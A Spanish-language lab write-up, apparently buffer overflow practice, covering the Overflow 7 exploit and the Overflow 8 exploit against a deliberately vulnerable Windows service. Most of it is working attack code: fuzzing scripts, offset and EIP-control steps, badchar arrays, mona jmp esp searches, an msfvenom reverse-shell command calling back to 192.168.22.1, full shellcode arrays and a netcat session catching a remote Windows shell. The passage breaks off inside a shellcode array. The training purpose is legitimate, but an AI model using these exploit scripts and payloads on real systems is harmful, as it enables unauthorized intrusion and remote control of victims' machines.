16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
shellcode = ("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xc3\x2d\x3d\x1c\x83\xee\xfc\xe2\xf4\x3f\xc5\xbf\x1c\xc3\x2d"
"\x5d\x95\x26\x1c\xfd\x78\x48\x7d\x0d\x97\x91\x21\xb6\x4e\xd7"
"\xa6\x4f\x34\xcc\x9a\x77\x3a\xf2\xd2\x91\x20\xa2\x51\x3f\x30"
"\xe3\xec\xf2\x11\xc2\xea\xdf\xee\x91\x7a\xb6\x4e\xd3\xa6\x77"
"\x20\x48\x61\x2c\x64\x20\x65\x3c\xcd\x92\xa6\x64\x3c\xc2\xfe"
"\xb6\x55\xdb\xce\x07\x55\x48\x19\xb6\x1d\x15\x1c\xc2\xb0\x02"
"\xe2\x30\x1d\x04\x15\xdd\x69\x35\x2e\x40\xe4\xf8\x50\x19\x69"
"\x27\x75\xb6\x44\xe7\x2c\xee\x7a\x48\x21\x76\x97\x9b\x31\x3c"
"\xcf\x48\x29\xb6\x1d\x13\xa4\x79\x38\xe7\x76\x66\x7d\x9a\x77"
"\x6c\xe3\x23\x72\x62\x46\x48\x3f\xd6\x91\x9e\x45\x0e\x2e\xc3"
"\x2d\x55\x6b\xb0\x1f\x62\x48\xab\x61\x4a\x3a\xc4\xd2\xe8\xa4"
"\x53\x2c\x3d\x1c\xea\xe9\x69\x4c\xab\x04\xbd\x77\xc3\xd2\xe8"
"\x4c\x93\x7d\x6d\x5c\x93\x6d\x6d\x74\x29\x22\xe2\xfc\x3c\xf8"
"\xaa\x76\xc6\x45\xfd\xb4\xd5\x2c\x55\x1e\xc3\x28\x07\x95\x25"
"\x47\x2d\x4a\x94\x45\xa4\xb9\xb7\x4c\xc2\xc9\x46\xed\x49\x10"
"\x3c\x63\x35\x69\x2f\x45\xcd\xa9\x61\x7b\xc2\xc9\xab\x4e\x50"
"\x78\xc3\xa4\xde\x4b\x94\x7a\x0c\xea\xa9\x3f\x64\x4a\x21\xd0"
"\x5b\xdb\x87\x09\x01\x1d\xc2\xa0\x79\x38\xd3\xeb\x3d\x58\x97"
"\x7d\x6b\x4a\x95\x6b\x6b\x52\x95\x7b\x6e\x4a\xab\x54\xf1\x23"
"\x45\xd2\xe8\x95\x23\x63\x6b\x5a\x3c\x1d\x55\x14\x44\x30\x5d"
"\xe3\x16\x96\xdd\x01\xe9\x27\x55\xba\x56\x90\xa0\xe3\x16\x11"
"\x3b\x60\xc9\xad\xc6\xfc\xb6\x28\x86\x5b\xd0\x5f\x52\x76\xc3"
"\x7e\xc2\xc9")

eip_ret = pack("<L",0x625011eb)
nops  = "\x90" * 16
padding = "C"
buff = "A" * 1306 + eip_ret + nops + shellcode + padding * (1750 - 1306 - 4 - 16 - 348)

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW7 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  OVERFLOW_7 nc -lvnp 1338
Listening on 0.0.0.0 1338
Connection received on 192.168.22.128 49161
Microsoft Windows [Versin 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\sckull\Desktop\vulnerable-apps\oscp>echo %username%
echo %username%
sckull

C:\Users\sckull\Desktop\vulnerable-apps\oscp>

Overflow 8

Fuzzing

Realizamos fuzzing al segundo reto utilizando esta vez OVERFLOW8.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python2.7
import socket, sys
from pwn import *
from struct import pack

if len(sys.argv) != 2:
        print("[*] Run:\n\toscp1.py <IP-address>")
        sys.exit(1)

address = sys.argv[1]
port = 1337

buff = ["A"]
c = 100

while len(buff) < 30:
        buff.append("A"*c)
        c += 100

p1 = log.progress("Progreso")

for string in buff:
        try:
                p1.status("Enviando %s bytes." % len(string))
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                connect = s.connect((address, port))
                data = s.recv(1024)
                s.send("OVERFLOW8 %s\r\n" % string)
                s.close()
                #log.info("x_x socket.")
        except Exception as e:
                #print(e)
                log.failure("Parece que el programa se detuvo con %s bytes." % len(string))
                sys.exit(1)

Encontramos que el programa se detuvo con 1900 bytes.

1
2
3
4
➜  OVERFLOW_8 ./overflow8.py 192.168.22.128
[|] Progreso: Enviando 1900 bytes.
[-] Parece que el programa se detuvo con 1900 bytes.
➜  OVERFLOW_8

Observamos que el registro EIP se sobreescribió con “A"s, tambien vemos el registro ESP con los mismos valores.
image

Offset EIP

Creamos un patron de 2100 bytes utilizando pattern_create.rb.

1
2
3
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 2100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9

Modificamos el script para realizar el envio de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
buff =  "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"

try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW8 %s\r\n" % buff)
        s.close()
        #log.info("x_x socket.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo.")

El registro EIP está lleno con el patron enviado asi mismo el registro ESP.
image

Mona nos muestra el offset con valor de 1786 bytes.

1
2
3
4
5
6
7
8
9
# !mona findmsp -distance 2100
[+] Command used:
!mona findmsp -distance 2100
[..]
[+] Examining registers
    EIP contains normal pattern : 0x68433568 (offset 1786)
    ESP (0x0186fa30) points at offset 1790 in normal pattern (length 310)
    EBP contains normal pattern : 0x43346843 (offset 1782)
    EBX contains normal pattern : 0x33684332 (offset 1778)

Control EIP

Utilizando la longitud del offset agregamos “B"s para confirmar que el offset es exacto y que tenemos el control del registro EIP, además agregamos un padding para mantener la longitud del buffer (2100).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
eip_ret = "B" * 4
nops  = ""
padding = "C"

buff = "A" * 1786 + eip_ret + nops + padding * (2100-1786-4) # junk 1786, eip 4, padding 310 = 2100
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW8 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Tras ejecutar el script vemos que el registro EIP contiene “B"s lo que significa que el offset es exacto, además vemos el registro ESP con el padding (“C"s).
image

Espacio - Shellcode

Aumentamos el padding para tener asegurado un espacio ‘decente’ para nuestro shellcode, en este caso 120 bytes adicionales, en total tendríamos 430 bytes disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"

buff = "A" * 1786 + eip_ret + nops + padding * (2100 - 1786 - 4 + 120) # padding 430
# 1786 junk, 4 eip_ret, padding 430 (shellcode + nops)
# total buffer = 2220
try:
    log.info("Realizando conexion.")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect((address, port))
    data = s.recv(1024)
    s.send("OVERFLOW8 %s\r\n" % buff)
    s.close()
    log.info("Conexion Finalizada.")
except Exception as e:
    #print(e)
    log.failure("Parece que el programa se detuvo." )
    sys.exit(1)

El debugger muestra el mismo comportamiento por lo que tomamos la longitud del buffer en 2220 bytes de los cuales 430 bytes serán para el shellcode y los nops (16 bytes).

BadChars

Generamos con mona un array con todos los badchars exeptuando el valor null (\x00).

1
!mona bytearray -cpb "\x00"

Modificamos el script con nuestro array de badchars.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

eip_ret = "B" * 4
nops  = "" # 16 bytes
padding = "C"
buff = "A" * 1786 + eip_ret + nops + badchars + padding * (2220 - 1786 - 4 - 255) # 255 badchars
try:
        log.info("Realizando conexion.")
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect = s.connect((address, port))
        data = s.recv(1024)
        s.send("OVERFLOW8 %s\r\n" % buff)
        s.close()
        log.info("Conexion Finalizada.")
except Exception as e:
        #print(e)
        log.failure("Parece que el programa se detuvo." )
        sys.exit(1)

Realizamos la busqueda de badchars como en el primer reto. Inicialmente encontramos los badchars "\x00\x1d\x2e\xc7\xee".

1
\x00\x1d\x2e\xc7\xee

JMP ESP

Buscamos una instrucción de salto al ESP con mona.

1
2
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x1d\x2e\xc7\xee"
!mona jmp -r esp -cpb "\x00\x1d\x2e\xc7\xee"

Encontramos dos direcciones de memoria con la instrucción jmp esp sin ningun tipo de protección.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[+] Command used:
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x1d\x2e\xc7\xee"
[..]
[+] Results :
     0x625011af : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011bb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011d3 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011df : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011eb : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x625011f7 : 'jmp esp' |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501203 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
     0x62501205 : 'jmp esp' | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\sckull\Desktop\vulnerable-apps\oscp\essfunc.dll)
Found a total of 8 pointers

Modificamos nuestr script agregando la dirección de la instrucción.

1
2
3
from struct import pack

eip_ret = pack("<L",0x62501203)

Shellcode

Creamos nuestro shellcode pasandole los badchars que encontramos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ msfvenom -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.22.1 LPORT=1338 -a x86 --platform windows -f c -b "\x00\x1d\x2e\xc7\xee"
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xba\x2d\xfe\xbd\xed\xda\xc9\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x52\x31\x56\x12\x83\xc6\x04\x03\x7b\xf0\x5f\x18\x7f\xe4\x22"
"\xe3\x7f\xf5\x42\x6d\x9a\xc4\x42\x09\xef\x77\x73\x59\xbd\x7b"
"\xf8\x0f\x55\x0f\x8c\x87\x5a\xb8\x3b\xfe\x55\x39\x17\xc2\xf4"
"\xb9\x6a\x17\xd6\x80\xa4\x6a\x17\xc4\xd9\x87\x45\x9d\x96\x3a"
"\x79\xaa\xe3\x86\xf2\xe0\xe2\x8e\xe7\xb1\x05\xbe\xb6\xca\x5f"
"\x60\x39\x1e\xd4\x29\x21\x43\xd1\xe0\xda\xb7\xad\xf2\x0a\x86"
"\x4e\x58\x73\x26\xbd\xa0\xb4\x81\x5e\xd7\xcc\xf1\xe3\xe0\x0b"
"\x8b\x3f\x64\x8f\x2b\xcb\xde\x6b\xcd\x18\xb8\xf8\xc1\xd5\xce"
"\xa6\xc5\xe8\x03\xdd\xf2\x61\xa2\x31\x73\x31\x81\x95\xdf\xe1"
"\xa8\x8c\x85\x44\xd4\xce\x65\x38\x70\x85\x88\x2d\x09\xc4\xc4"
"\x82\x20\xf6\x14\x8d\x33\x85\x26\x12\xe8\x01\x0b\xdb\x36\xd6"
"\x6c\xf6\x8f\x48\x93\xf9\xef\x41\x50\xad\xbf\xf9\x71\xce\x2b"
"\xf9\x7e\x1b\xfb\xa9\xd0\xf4\xbc\x19\x91\xa4\x54\x73\x1e\x9a"
"\x45\x7c\xf4\xb3\xec\x87\x9f\x7b\x58\x91\x5e\x14\x9b\x9d\x65"
"\xde\x12\x7b\x0f\x0e\x73\xd4\xb8\xb7\xde\xae\x59\x37\xf5\xcb"
"\x5a\xb3\xfa\x2c\x14\x34\x76\x3e\xc1\xb4\xcd\x1c\x44\xca\xfb"
"\x08\x0a\x59\x60\xc8\x45\x42\x3f\x9f\x02\xb4\x36\x75\xbf\xef"
"\xe0\x6b\x42\x69\xca\x2f\x99\x4a\xd5\xae\x6c\xf6\xf1\xa0\xa8"
"\xf7\xbd\x94\x64\xae\x6b\x42\xc3\x18\xda\x3c\x9d\xf7\xb4\xa8"
"\x58\x34\x07\xae\x64\x11\xf1\x4e\xd4\xcc\x44\x71\xd9\x98\x40"
"\x0a\x07\x39\xae\xc1\x83\x59\x4d\xc3\xf9\xf1\xc8\x86\x43\x9c"
"\xea\x7d\x87\x99\x68\x77\x78\x5e\x70\xf2\x7d\x1a\x36\xef\x0f"
"\x33\xd3\x0f\xa3\x34\xf6";

Agregamos nuestro shellcode y NOPs, finalmente calculamos el padding para mantener la longitud de nuestro buffer (2220).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
shellcode = ("\xba\x2d\xfe\xbd\xed\xda\xc9\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x52\x31\x56\x12\x83\xc6\x04\x03\x7b\xf0\x5f\x18\x7f\xe4\x22"
"\xe3\x7f\xf5\x42\x6d\x9a\xc4\x42\x09\xef\x77\x73\x59\xbd\x7b"
"\xf8\x0f\x55\x0f\x8c\x87\x5a\xb8\x3b\xfe\x55\x39\x17\xc2\xf4"
"\xb9\x6a\x17\xd6\x80\xa4\x6a\x17\xc4\xd9\x87\x45\x9d\x96\x3a"
"\x79\xaa\xe3\x86\xf2\xe0\xe2\x8e\xe7\xb1\x05\xbe\xb6\xca\x5f"
"\x60\x39\x1e\xd4\x29\x21\x43\xd1\xe0\xda\xb7\xad\xf2\x0a\x86"
"\x4e\x58\x73\x26\xbd\xa0\xb4\x81\x5e\xd7\xcc\xf1\xe3\xe0\x0b"
"\x8b\x3f\x64\x8f\x2b\xcb\xde\x6b\xcd\x18\xb8\xf8\xc1\xd5\xce"
"\xa6\xc5\xe8\x03\xdd\xf2\x61\xa2\x31\x73\x31\x81\x95\xdf\xe1"
"\xa8\x8c\x85\x44\xd4\xce\x65\x38\x70\x85\x88\x2d\x09\xc4\xc4"
"\x82\x20\xf6\x14\x8d\x33\x85\x26\x12\xe8\x01\x0b\xdb\x36\xd6"
"\x6c\xf6\x8f\x48\x93\xf9\xef\x41\x50\xad\xbf\xf9\x71\xce\x2b"
"\xf9\x7e\x1b\xfb\xa9\xd0\xf4\xbc\x19\x91\xa4\x54\x73\x1e\x9a"
"\x45\x7c\xf4\xb3\xec\x87\x9f\x7b\x58\x91\x5e\x14\x9b\x9d\x65"
"\xde\x12\x7b\x0f\x0e\x73\xd4\xb8\xb7\xde\xae\x59\x37\xf5\xcb"
"\x5a\xb3\xfa\x2c\x14\x34\x76\x3e\xc1\xb4\xcd\x1c\x44\xca\xfb"
"\x08\x0a\x59\x60\xc8\x45\x42\x3f\x9f\x02\xb4\x36\x75\xbf\xef"
"\xe0\x6b\x42\x69\xca\x2f\x99\x4a\xd5\xae\x6c\xf6\xf1\xa0\xa8"
"\xf7\xbd\x94\x64\xae\x6b\x42\xc3\x18\xda\x3c\x9d\xf7\xb4\xa8"
"\x58\x34\x07\xae\x64\x11\xf1\x4e\xd4\xcc\x44\x71\xd9\x98\x40"
